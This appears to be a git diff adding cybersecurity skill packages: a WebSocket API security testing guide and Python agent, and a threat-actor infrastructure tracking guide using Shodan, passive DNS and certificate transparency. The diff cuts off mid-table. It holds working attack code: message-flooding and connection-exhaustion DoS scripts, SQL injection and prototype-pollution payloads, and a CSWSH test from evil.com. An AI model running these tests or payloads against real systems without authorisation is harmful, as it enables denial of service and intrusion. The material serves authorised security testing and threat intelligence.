+### Step 5: Denial-of-Service Testing + +```python +async def test_ws_dos(): + """Test WebSocket for DoS vulnerabilities.""" + print("=== WebSocket DoS Testing ===\n") + + # Test 1: Message flooding + async def flood_test(): + async with websockets.connect(WS_URL, + extra_headers={"Authorization": AUTH_TOKEN}) as ws: + count = 0 + start = time.time() + for i in range(10000): + try: + await ws.send(json.dumps({"type": "ping", "id": i})) + count += 1 + except websockets.exceptions.ConnectionClosed: + break + elapsed = time.time() - start + print(f" Flood test: {count} messages in {elapsed:.1f}s ({count/elapsed:.0f} msg/s)") + + await flood_test() + + # Test 2: Large message + async def large_message_test(): + sizes = [1024, 10240, 102400, 1024000, 10240000] # 1KB to 10MB + async with websockets.connect(WS_URL, + extra_headers={"Authorization": AUTH_TOKEN}, + max_size=20*1024*1024) as ws: + for size in sizes: + try: + large_msg = json.dumps({"type": "data", "payload": "A" * size}) + await ws.send(large_msg) + resp = await asyncio.wait_for(ws.recv(), timeout=5) + print(f" Large message ({size} bytes): Accepted") + except (websockets.exceptions.ConnectionClosed, asyncio.TimeoutError) as e: + print(f" Large message ({size} bytes): Rejected/Disconnected") + break + + await large_message_test() + + # Test 3: Connection exhaustion + async def connection_exhaustion(): + connections = [] + for i in range(100): + try: + ws = await websockets.connect(WS_URL, + extra_headers={"Authorization": AUTH_TOKEN}) + connections.append(ws) + except Exception: + break + print(f" Connection exhaustion: {len(connections)} concurrent connections established") + for ws in connections: + await ws.close() + + await connection_exhaustion() + +asyncio.run(test_ws_dos()) +``` + +## Key Concepts + +| Term | Definition | +|------|------------| +| **WebSocket** | Full-duplex communication protocol over a single TCP connection, established via HTTP upgrade handshake | +| **CSWSH** | Cross-Site WebSocket Hijacking - an attack where a malicious website initiates a WebSocket connection to a legitimate server using the victim's browser credentials | +| **Origin Validation** | Server-side check of the Origin header during WebSocket handshake to prevent CSWSH by rejecting connections from unauthorized domains | +| **WebSocket Frame** | The basic unit of data in WebSocket communication, containing opcode, masking, payload length, and payload data | +| **Upgrade Handshake** | HTTP request with `Upgrade: websocket` and `Connection: Upgrade` headers that establishes the WebSocket connection | +| **Message Flooding** | Sending a large volume of WebSocket messages to exhaust server resources (memory, CPU, bandwidth) | + +## Tools & Systems + +- **Burp Suite Professional**: Intercepts WebSocket handshakes and messages, allows message modification and replay +- **OWASP ZAP**: WebSocket testing with message fuzzing, interception, and breakpoint capabilities +- **wscat**: Command-line WebSocket client for manual testing: `wscat -c wss://target.com/ws -H "Authorization: Bearer token"` +- **websocat**: Advanced CLI WebSocket tool with proxy, broadcast, and scripting capabilities +- **Autobahn TestSuite**: Comprehensive WebSocket protocol compliance and security testing framework + +## Common Scenarios + +### Scenario: Chat Application WebSocket Security Assessment + +**Context**: A messaging application uses WebSocket for real-time chat. The WebSocket endpoint handles message delivery, typing indicators, read receipts, and user presence. Authentication is cookie-based. + +**Approach**: +1. Analyze the WebSocket handshake: connection established at `wss://chat.example.com/ws` with session cookie authentication +2. Test CSWSH: WebSocket server does not validate the Origin header - an attacker's page can connect and receive the victim's messages +3. Test authentication: WebSocket accepts connections with expired session cookies (session validation only at handshake, not for subsequent messages) +4. Test authorization: User A can send messages to private channels they are not a member of by crafting the channel ID +5. Test injection: Message content is stored without sanitization; XSS payload in message body executes in other users' browsers +6. Test message flooding: Server accepts 5000 messages per second without rate limiting, causing CPU spike +7. Find that WebSocket messages include the sender's internal user ID, email, and IP address (information leakage) + +**Pitfalls**: +- Not testing CSWSH because the application uses token-based authentication (cookies are automatically sent with WebSocket) +- Only testing the initial handshake authentication without verifying ongoing message authorization +- Missing injection vulnerabilities because payloads are in JSON WebSocket frames instead of HTTP parameters +- Not testing reconnection behavior (does the server re-validate authentication on reconnect?) +- Ignoring that WebSocket connections may bypass HTTP-level rate limiting and WAF rules + +## Output Format + +``` +## Finding: Cross-Site WebSocket Hijacking Enables Real-Time Data Theft + +**ID**: API-WS-001 +**Severity**: High (CVSS 8.1) +**Affected Endpoint**: wss://chat.example.com/ws + +**Description**: +The WebSocket server does not validate the Origin header during the +handshake. An attacker can host a malicious web page that opens a +WebSocket connection to the chat server using the victim's session +cookie. All messages, typing indicators, and presence data are +forwarded to the attacker in real time. + +**Proof of Concept**: +Host the CSWSH PoC page on attacker.com. When a logged-in user +visits the page, the JavaScript establishes a WebSocket connection +to the chat server. The server authenticates the connection using +the victim's cookie and delivers all real-time chat data to the +attacker's connection. + +**Impact**: +Real-time interception of all private messages, presence data, +and typing indicators for any user who visits the attacker's page. + +**Remediation**: +1. Validate the Origin header against an allowlist of legitimate domains +2. Implement CSRF tokens in the WebSocket handshake URL +3. Use token-based authentication (Authorization header) instead of cookies for WebSocket +4. Implement per-message authorization checks, not just connection-level authentication +5. Add rate limiting on WebSocket message volume per connection +``` diff --git a/skills/cybersecurity/testing-websocket-api-security/references/api-reference.md b/skills/cybersecurity/testing-websocket-api-security/references/api-reference.md new file mode 100644 index 00000000..30fad533 --- /dev/null +++ b/skills/cybersecurity/testing-websocket-api-security/references/api-reference.md @@ -0,0 +1,49 @@ +# API Reference: Testing WebSocket API Security + +## WebSocket Attack Surface + +| Attack | Severity | Description | +|--------|----------|-------------| +| CSWSH | Critical | Cross-Site WebSocket Hijacking via Origin | +| No authentication | High | Connection without credentials accepted | +| Channel auth bypass | High | Subscribe to privileged channels | +| Injection via messages | Medium | SQL/XSS/command injection in payloads | +| Message flooding | Medium | DoS through rapid message sending | +| Prototype pollution | Medium | `__proto__` payload in JSON messages | + +## WebSocket Handshake Headers + +| Header | Direction | Purpose | +|--------|-----------|---------| +| Upgrade: websocket | Request | Protocol upgrade request | +| Connection: Upgrade | Request | Connection type change | +| Sec-WebSocket-Key | Request | Client nonce for handshake | +| Sec-WebSocket-Version | Request | Protocol version (13) | +| Sec-WebSocket-Accept | Response | Server handshake confirmation | +| Origin | Request | CSWSH validation target | + +## Injection Payload Categories + +| Category | Example | +|----------|---------| +| Admin action | `{"action":"admin","data":"test"}` | +| Path traversal | `{"channel":"../admin"}` | +| XSS | `` | +| SQLi | `' OR 1=1 --` | +| Prototype pollution | `{"__proto__":{"isAdmin":true}}` | +| Oversized message | 100KB+ payload | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `websockets` | >=10.0 | Async WebSocket client | +| `asyncio` | stdlib | Async event loop | +| `requests` | >=2.28 | HTTP upgrade header check | +| `json` | stdlib | Message/report serialization | + +## References + +- OWASP WebSocket Testing: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side_Testing/10-Testing_WebSockets +- PortSwigger WebSocket: https://portswigger.net/web-security/websockets +- RFC 6455: https://www.rfc-editor.org/rfc/rfc6455 diff --git a/skills/cybersecurity/testing-websocket-api-security/scripts/agent.py b/skills/cybersecurity/testing-websocket-api-security/scripts/agent.py new file mode 100755 index 00000000..41a0cba7 --- /dev/null +++ b/skills/cybersecurity/testing-websocket-api-security/scripts/agent.py @@ -0,0 +1,215 @@ +#!/usr/bin/env python3 +"""Agent for testing WebSocket API security. + +Tests WebSocket endpoints for missing authentication, Cross-Site +WebSocket Hijacking (CSWSH), injection attacks, message flooding, +and authorization bypass vulnerabilities. +""" + +import json +import sys +import asyncio +import time +from pathlib import Path +from datetime import datetime + +try: + import websockets +except ImportError: + websockets = None + +try: + import requests +except ImportError: + requests = None + + +INJECTION_PAYLOADS = [ + '{"action":"admin","data":"test"}', + '{"action":"subscribe","channel":"../admin"}', + '', + "' OR 1=1 --", + '{"__proto__":{"isAdmin":true}}', + '{"action":"eval","code":"process.exit()"}', + "A" * 100000, +] + + +class WebSocketSecurityAgent: + """Tests WebSocket API implementations for vulnerabilities.""" + + def __init__(self, ws_url, http_url=None, output_dir="./websocket_test"): + self.ws_url = ws_url + self.http_url = http_url + self.output_dir = Path(output_dir) + self.output_dir.mkdir(parents=True, exist_ok=True) + self.findings = [] + + async def _connect(self, headers=None, origin=None, timeout=5): + if not websockets: + return None + extra = {} + if headers: + extra["additional_headers"] = headers + if origin: + extra["origin"] = origin + try: + return await asyncio.wait_for( + websockets.connect(self.ws_url, **extra), timeout=timeout + ) + except Exception: + return None + + async def test_no_auth(self): + """Test if WebSocket connects without authentication.""" + ws = await self._connect() + if ws: + await ws.send('{"action":"ping"}') + try: + resp = await asyncio.wait_for(ws.recv(), timeout=3) + self.findings.append({"severity": "high", "type": "No Auth on WebSocket", + "detail": "WebSocket accepts connection without credentials"}) + await ws.close() + return {"connected": True, "response": resp[:200]} + except Exception: + await ws.close() + return {"connected": True, "response": None} + return {"connected": False} + + async def test_cswsh(self, evil_origin="https://evil.com"): + """Test Cross-Site WebSocket Hijacking via Origin header.""" + ws = await self._connect(origin=evil_origin) + if ws: + self.findings.append({"severity": "critical", "type": "CSWSH", + "detail": f"WebSocket accepts connection from origin: {evil_origin}"}) + await ws.close() + return {"vulnerable": True, "origin": evil_origin} + return {"vulnerable": False} + + async def test_injection(self, auth_headers=None): + """Send injection payloads through WebSocket messages.""" + ws = await self._connect(headers=auth_headers) + if not ws: + return [] + results = [] + for payload in INJECTION_PAYLOADS: + try: + await ws.send(payload) + resp = await asyncio.wait_for(ws.recv(), timeout=3) + if "error" not in resp.lower() and len(resp) > 10: + results.append({"payload": payload[:80], "response": resp[:200], + "potential_issue": True}) + self.findings.append({"severity": "medium", "type": "Injection Accepted", + "detail": f"Payload accepted: {payload[:50]}"}) + except Exception: + continue + await ws.close() + return results + + async def test_authorization_bypass(self, auth_headers=None): + """Test accessing admin/privileged channels without authorization.""" + ws = await self._connect(headers=auth_headers) + if not ws: + return [] + channels = ["admin", "internal", "debug", "system", "logs", "metrics"] + results = [] + for ch in channels: + try: + await ws.send(json.dumps({"action": "subscribe", "channel": ch})) + resp = await asyncio.wait_for(ws.recv(), timeout=3) + if "error" not in resp.lower() and "denied" not in resp.lower(): + results.append({"channel": ch, "response": resp[:200]}) + self.findings.append({"severity": "high", "type": "Channel Auth Bypass", + "detail": f"Subscribed to restricted channel: {ch}"}) + except Exception: + continue + await ws.close() + return results + + async def test_message_flood(self, count=1000, auth_headers=None): + """Test DoS resilience with message flooding.""" + ws = await self._connect(headers=auth_headers) + if not ws: + return {"error": "connection failed"} + start = time.time() + sent = 0 + for i in range(count): + try: + await ws.send(f'{{"action":"ping","id":{i}}}') + sent += 1 + except Exception: + break + elapsed = time.time() - start + await ws.close() + if sent == count: + self.findings.append({"severity": "medium", "type": "No Rate Limiting", + "detail": f"Accepted {count} messages in {elapsed:.2f}s"}) + return {"sent": sent, "elapsed": round(elapsed, 2), "rate_limited": sent < count} + + def check_upgrade_headers(self): + """Check HTTP upgrade response headers for security issues.""" + if not requests: + return {"error": "requests not available"} + http_url = self.http_url or self.ws_url.replace("ws://", "http://").replace("wss://", "https://") + try: + resp = requests.get(http_url, headers={ + "Upgrade": "websocket", "Connection": "Upgrade", + "Sec-WebSocket-Key": "dGhlIHNhbXBsZSBub25jZQ==", + "Sec-WebSocket-Version": "13", + }, timeout=10) + issues = [] + if "Sec-WebSocket-Accept" in resp.headers and resp.status_code == 101: + if "strict-transport-security" not in {k.lower() for k in resp.headers}: + issues.append("Missing HSTS header") + if "x-frame-options" not in {k.lower() for k in resp.headers}: + issues.append("Missing X-Frame-Options") + for issue in issues: + self.findings.append({"severity": "low", "type": "Missing Security Header", + "detail": issue}) + return {"status": resp.status_code, "issues": issues} + except requests.RequestException: + return {"error": "connection failed"} + + async def run_all_tests(self, auth_headers=None): + no_auth = await self.test_no_auth() + cswsh = await self.test_cswsh() + injection = await self.test_injection(auth_headers) + authz = await self.test_authorization_bypass(auth_headers) + flood = await self.test_message_flood(auth_headers=auth_headers) + upgrade = self.check_upgrade_headers() + return { + "no_auth": no_auth, "cswsh": cswsh, "injection": injection, + "authz_bypass": authz, "flood": flood, "upgrade_headers": upgrade, + } + + def generate_report(self, auth_headers=None): + results = asyncio.get_event_loop().run_until_complete(self.run_all_tests(auth_headers)) + report = { + "report_date": datetime.utcnow().isoformat(), + "target": self.ws_url, + **results, + "findings": self.findings, + "total_findings": len(self.findings), + } + out = self.output_dir / "websocket_security_report.json" + with open(out, "w") as f: + json.dump(report, f, indent=2) + print(json.dumps(report, indent=2)) + return report + + +def main(): + if len(sys.argv) < 2: + print("Usage: agent.py [--token ]") + sys.exit(1) + ws_url = sys.argv[1] + headers = None + if "--token" in sys.argv: + token = sys.argv[sys.argv.index("--token") + 1] + headers = {"Authorization": f"Bearer {token}"} + agent = WebSocketSecurityAgent(ws_url) + agent.generate_report(headers) + + +if __name__ == "__main__": + main() diff --git a/skills/cybersecurity/tracking-threat-actor-infrastructure/LICENSE b/skills/cybersecurity/tracking-threat-actor-infrastructure/LICENSE new file mode 100644 index 00000000..d8851182 --- /dev/null +++ b/skills/cybersecurity/tracking-threat-actor-infrastructure/LICENSE @@ -0,0 +1,201 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to the Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by the Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding any notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. Please do not remove or change + the license header comment from a contributed file except when + necessary. + + Copyright 2026 mukul975 + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/skills/cybersecurity/tracking-threat-actor-infrastructure/SKILL.md b/skills/cybersecurity/tracking-threat-actor-infrastructure/SKILL.md new file mode 100644 index 00000000..c321fa1b --- /dev/null +++ b/skills/cybersecurity/tracking-threat-actor-infrastructure/SKILL.md @@ -0,0 +1,306 @@ +--- +name: tracking-threat-actor-infrastructure +description: Threat actor infrastructure tracking involves monitoring and mapping + adversary-controlled assets including command-and-control (C2) servers, phishing + domains, exploit kit hosts, bulletproof hosting, a +domain: cybersecurity +subdomain: threat-intelligence +tags: +- threat-intelligence +- cti +- ioc +- mitre-attack +- stix +- infrastructure-tracking +- shodan +- censys +- passive-dns +version: '1.0' +author: mahipal +license: Apache-2.0 +nist_csf: +- ID.RA-01 +- ID.RA-05 +- DE.CM-01 +- DE.AE-02 +mitre_attack: +- T1591 +- T1592 +- T1593 +- T1589 +- T1566 +--- +# Tracking Threat Actor Infrastructure + +## Overview + +Threat actor infrastructure tracking involves monitoring and mapping adversary-controlled assets including command-and-control (C2) servers, phishing domains, exploit kit hosts, bulletproof hosting, and staging servers. This skill covers using passive DNS, certificate transparency logs, Shodan/Censys scanning, WHOIS analysis, and network fingerprinting to discover, track, and pivot across threat actor infrastructure over time. + + +## When to Use + +- When managing security operations that require tracking threat actor infrastructure +- When improving security program maturity and operational processes +- When establishing standardized procedures for security team workflows +- When integrating threat intelligence or vulnerability data into operations + +## Prerequisites + +- Python 3.9+ with `shodan`, `censys`, `requests`, `stix2` libraries +- API keys: Shodan, Censys, VirusTotal, SecurityTrails, PassiveTotal +- Understanding of DNS, TLS/SSL certificates, IP allocation, ASN structure +- Familiarity with passive DNS and certificate transparency concepts +- Access to domain registration (WHOIS) lookup services + +## Key Concepts + +### Infrastructure Pivoting +Pivoting is the technique of using one known indicator to discover related infrastructure. Starting from a known C2 IP address, analysts can pivot via: passive DNS (find domains), reverse WHOIS (find related registrations), SSL certificates (find shared certs), SSH key fingerprints, HTTP response fingerprints, JARM/JA3S hashes, and WHOIS registrant data. + +### Passive DNS +Passive DNS databases record DNS query/response data observed at recursive resolvers. This allows analysts to find historical domain-to-IP mappings, discover domains hosted on a known C2 IP, and identify fast-flux or domain generation algorithm (DGA) behavior. + +### Certificate Transparency +Certificate Transparency (CT) logs publicly record all SSL/TLS certificates issued by CAs. Monitoring CT logs reveals new certificates registered for suspicious domains, helping identify phishing sites and C2 infrastructure before they become active. + +### Network Fingerprinting +- **JARM**: Active TLS server fingerprint (hash of TLS handshake responses) +- **JA3S**: Passive TLS server fingerprint (hash of Server Hello) +- **HTTP Headers**: Server banners, custom headers, response patterns +- **Favicon Hash**: Hash of HTTP favicon for server identification + +## Workflow + +### Step 1: Shodan Infrastructure Discovery + +```python +import shodan + +api = shodan.Shodan("YOUR_SHODAN_API_KEY") + +def discover_infrastructure(ip_address): + """Discover services and metadata for a target IP.""" + try: + host = api.host(ip_address) + return { + "ip": host["ip_str"], + "org": host.get("org", ""), + "asn": host.get("asn", ""), + "isp": host.get("isp", ""), + "country": host.get("country_name", ""), + "city": host.get("city", ""), + "os": host.get("os"), + "ports": host.get("ports", []), + "vulns": host.get("vulns", []), + "hostnames": host.get("hostnames", []), + "domains": host.get("domains", []), + "tags": host.get("tags", []), + "services": [ + { + "port": svc.get("port"), + "transport": svc.get("transport"), + "product": svc.get("product", ""), + "version": svc.get("version", ""), + "ssl_cert": svc.get("ssl", {}).get("cert", {}).get("subject", {}), + "jarm": svc.get("ssl", {}).get("jarm", ""), + } + for svc in host.get("data", []) + ], + } + except shodan.APIError as e: + print(f"[-] Shodan error: {e}") + return None + +def search_c2_framework(framework_name): + """Search Shodan for known C2 framework signatures.""" + c2_queries = { + "cobalt-strike": 'product:"Cobalt Strike Beacon"', + "metasploit": 'product:"Metasploit"', + "covenant": 'http.html:"Covenant" http.title:"Covenant"', + "sliver": 'ssl.cert.subject.cn:"multiplayer" ssl.cert.issuer.cn:"operators"', + "havoc": 'http.html_hash:-1472705893', + } + + query = c2_queries.get(framework_name.lower(), framework_name) + results = api.search(query, limit=100) + + hosts = [] + for match in results.get("matches", []): + hosts.append({ + "ip": match["ip_str"], + "port": match["port"], + "org": match.get("org", ""), + "country": match.get("location", {}).get("country_name", ""), + "asn": match.get("asn", ""), + "timestamp": match.get("timestamp", ""), + }) + + return hosts +``` + +### Step 2: Passive DNS Pivoting + +```python +import requests + +def passive_dns_lookup(indicator, api_key, indicator_type="ip"): + """Query SecurityTrails for passive DNS records.""" + base_url = "https://api.securitytrails.com/v1" + headers = {"APIKEY": api_key, "Accept": "application/json"} + + if indicator_type == "ip": + url = f"{base_url}/search/list" + payload = { + "filter": {"ipv4": indicator} + } + resp = requests.post(url, json=payload, headers=headers, timeout=30) + else: + url = f"{base_url}/domain/{indicator}/subdomains" + resp = requests.get(url, headers=headers, timeout=30) + + if resp.status_code == 200: + return resp.json() + return None + + +def query_passive_total(indicator, user, api_key): + """Query PassiveTotal for passive DNS and WHOIS data.""" + base_url = "https://api.passivetotal.org/v2" + auth = (user, api_key) + + # Passive DNS + pdns_resp = requests.get( + f"{base_url}/dns/passive", + params={"query": indicator}, + auth=auth, + timeout=30, + ) + + # WHOIS + whois_resp = requests.get( + f"{base_url}/whois", + params={"query": indicator}, + auth=auth, + timeout=30, + ) + + results = {} + if pdns_resp.status_code == 200: + results["passive_dns"] = pdns_resp.json().get("results", []) + if whois_resp.status_code == 200: + results["whois"] = whois_resp.json() + + return results +``` + +### Step 3: Certificate Transparency Monitoring + +```python +import requests + +def search_ct_logs(domain): + """Search Certificate Transparency logs via crt.sh.""" + resp = requests.get( + f"https://crt.sh/?q=%.{domain}&output=json", + timeout=30, + ) + + if resp.status_code == 200: + certs = resp.json() + unique_domains = set() + cert_info = [] + + for cert in certs: + name_value = cert.get("name_value", "") + for name in name_value.split("\n"): + unique_domains.add(name.strip()) + + cert_info.append({ + "id": cert.get("id"), + "issuer": cert.get("issuer_name", ""), + "common_name": cert.get("common_name", ""), + "name_value": name_value, + "not_before": cert.get("not_before", ""), + "not_after": cert.get("not_after", ""), + "serial_number": cert.get("serial_number", ""), + }) + + return { + "domain": domain, + "total_certificates": len(certs), + "unique_domains": sorted(unique_domains), + "certificates": cert_info[:50], + } + return None + + +def monitor_new_certs(domains, interval_hours=1): + """Monitor for newly issued certificates for a list of domains.""" + from datetime import datetime, timedelta + + cutoff = (datetime.utcnow() - timedelta(hours=interval_hours)).isoformat() + new_certs = [] + + for domain in domains: + result = search_ct_logs(domain) + if result: + for cert in result.get("certificates", []): + if cert.get("not_before", "") > cutoff: + new_certs.append({ + "domain": domain, + "cert": cert, + }) + + return new_certs +``` + +### Step 4: Infrastructure Correlation and Timeline + +```python +from datetime import datetime + +def build_infrastructure_timeline(indicators): + """Build a timeline of infrastructure changes.""" + timeline = [] + + for ind in indicators: + if "passive_dns" in ind: + for record in ind["passive_dns"]: + timeline.append({ + "timestamp": record.get("firstSeen", ""), + "event": "dns_resolution", + "source": record.get("resolve", ""), + "target": record.get("value", ""), + "record_type": record.get("recordType", ""), + }) + + if "certificates" in ind: + for cert in ind["certificates"]: + timeline.append({ + "timestamp": cert.get("not_before", ""), + "event": "certificate_issued", + "domain": cert.get("common_name", ""), + "issuer": cert.get("issuer", ""), + }) + + timeline.sort(key=lambda x: x.get("timestamp", "")) + return timeline +``` + +## Validation Criteria + +- Shodan/Censys queries return infrastructure details for target IPs +- Passive DNS reveals historical domain-IP mappings +- Certificate transparency search finds associated domains +- Infrastructure pivoting discovers new related indicators +- Timeline shows infrastructure evolution over time +- Results are exportable as STIX 2.1 Infrastructure objects + +## References + +- [Shodan API Documentation](https://developer.shodan.io/api) +- [Censys Search API](https://search.censys.io/api) +- [SecurityTrails API](https://securitytrails.com/corp/api) +- [crt.sh Certificate Transparency](https://crt.sh/) +- [PassiveTotal API](https://api.passivetotal.org/api/docs/) +- [JARM Fingerprinting](https://github.com/salesforce/jarm) diff --git a/skills/cybersecurity/tracking-threat-actor-infrastructure/assets/template.md b/skills/cybersecurity/tracking-threat-actor-infrastructure/assets/template.md new file mode 100644 index 00000000..3ef3421f --- /dev/null +++ b/skills/cybersecurity/tracking-threat-actor-infrastructure/assets/template.md @@ -0,0 +1,47 @@ +# Threat Actor Infrastructure Tracking Report + +## Report Metadata +| Field | Value | +|-------|-------| +| Report ID | INFRA-YYYY-NNNN | +| Date | YYYY-MM-DD | +| Classification | TLP:AMBER | +| Analyst | [Name] | + +## Infrastructure Summary +| Metric | Count | +|--------|-------| +| C2 Servers Identified | | +| Domains Tracked | | +| SSL Certificates Found | | +| ASNs Involved | | +| Countries | | + +## C2 Servers +| IP Address | Ports | Framework | ASN | Country | First Seen | Last Seen | +|-----------|-------|-----------|-----|---------|-----------|----------| +| | | | | | | | + +## Associated Domains +| Domain | Resolved IP | First Seen | Last Seen | Source | +|--------|-----------|-----------|----------|--------| +| | | | | pDNS/CT/WHOIS | + +## SSL Certificates +| Common Name | Issuer | Not Before | Not After | SANs | +|------------|--------|-----------|----------|------| +| | | | | | + +## Pivot Map +``` +[Seed IP] --> [Domain A] --> [IP B] --> [Domain C] + | | + v v + [CT: Domain D] [WHOIS: Domain E] +``` + +## Recommendations +1. Block identified C2 IPs and domains at network perimeter +2. Deploy JARM/JA3S signatures for C2 framework detection +3. Monitor CT logs for new certificates matching tracked domains +4. Set up passive DNS alerts for domain resolution changes diff --git a/skills/cybersecurity/tracking-threat-actor-infrastructure/references/api-reference.md b/skills/cybersecurity/tracking-threat-actor-infrastructure/references/api-reference.md new file mode 100644 index 00000000..60bd12dd --- /dev/null +++ b/skills/cybersecurity/tracking-threat-actor-infrastructure/references/api-reference.md @@ -0,0 +1,48 @@ +# API Reference: Tracking Threat Actor Infrastructure + +## Pivoting Techniques + +| Technique | Source | Discovers | +|-----------|--------|-----------| +| Passive DNS | DNS resolvers | Domains on same IP, historical mappings | +| Reverse WHOIS | Registrar data | Domains by same registrant | +| SSL Certificate | CT logs, direct | Shared certs, SANs, issuers | +| Shodan/Censys | Internet scanning | Open ports, services, banners | +| HTTP fingerprint | Server responses | Body hash, headers, favicon | +| JARM/JA3S | TLS handshake | C2 framework identification | + +## API Endpoints + +| Service | Endpoint | Auth | +|---------|----------|------| +| Shodan Host | `GET 